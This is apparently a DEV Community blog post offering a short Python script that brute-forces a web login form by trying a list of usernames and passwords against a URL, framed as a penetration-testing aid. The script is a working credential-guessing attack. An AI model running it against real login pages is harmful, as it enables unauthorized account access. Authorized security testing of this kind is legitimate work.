DEV Community

Mohana Vamsi
Mohana Vamsi

Posted on

Brute Force Web Login Tester

This tool helps to brute force a web form by trying different combinations of username and passwords. This is particularly useful to security testers to find out bad credentials.

Code Example:

import requests

def brute_force_login(url, usernames, passwords):

for username in usernames:

for password in passwords:

response = requests.post(url, data={'username': username, 'password': password})

if "Login successful" in response.text:

print(f"Found: {username}:{password}")

return

print("No valid credentials found.")

url="http://example.com/login"

usernames=["admin","user","guest"]

passwords=["1234","password","admin123"]

brute_force_login(url,usernames,passwords)

Use Case: This can be the primary objective in penetration testing to get weak logon credentials and show the dismal results of poor password policies.

Tip: Never use this on unauthorized websites.

Sentry image

Hands-on debugging session: instrument, monitor, and fix

Join Lazar for a hands-on session where you’ll build it, break it, debug it, and fix it. You’ll set up Sentry, track errors, use Session Replay and Tracing, and leverage some good ol’ AI to find and fix issues fast.

RSVP here →

Top comments (0)

Billboard image

The Next Generation Developer Platform

Coherence is the first Platform-as-a-Service you can control. Unlike "black-box" platforms that are opinionated about the infra you can deploy, Coherence is powered by CNC, the open-source IaC framework, which offers limitless customization.

Learn more

👋 Kindness is contagious

Please leave a ❤️ or a friendly comment on this post if you found it helpful!

Okay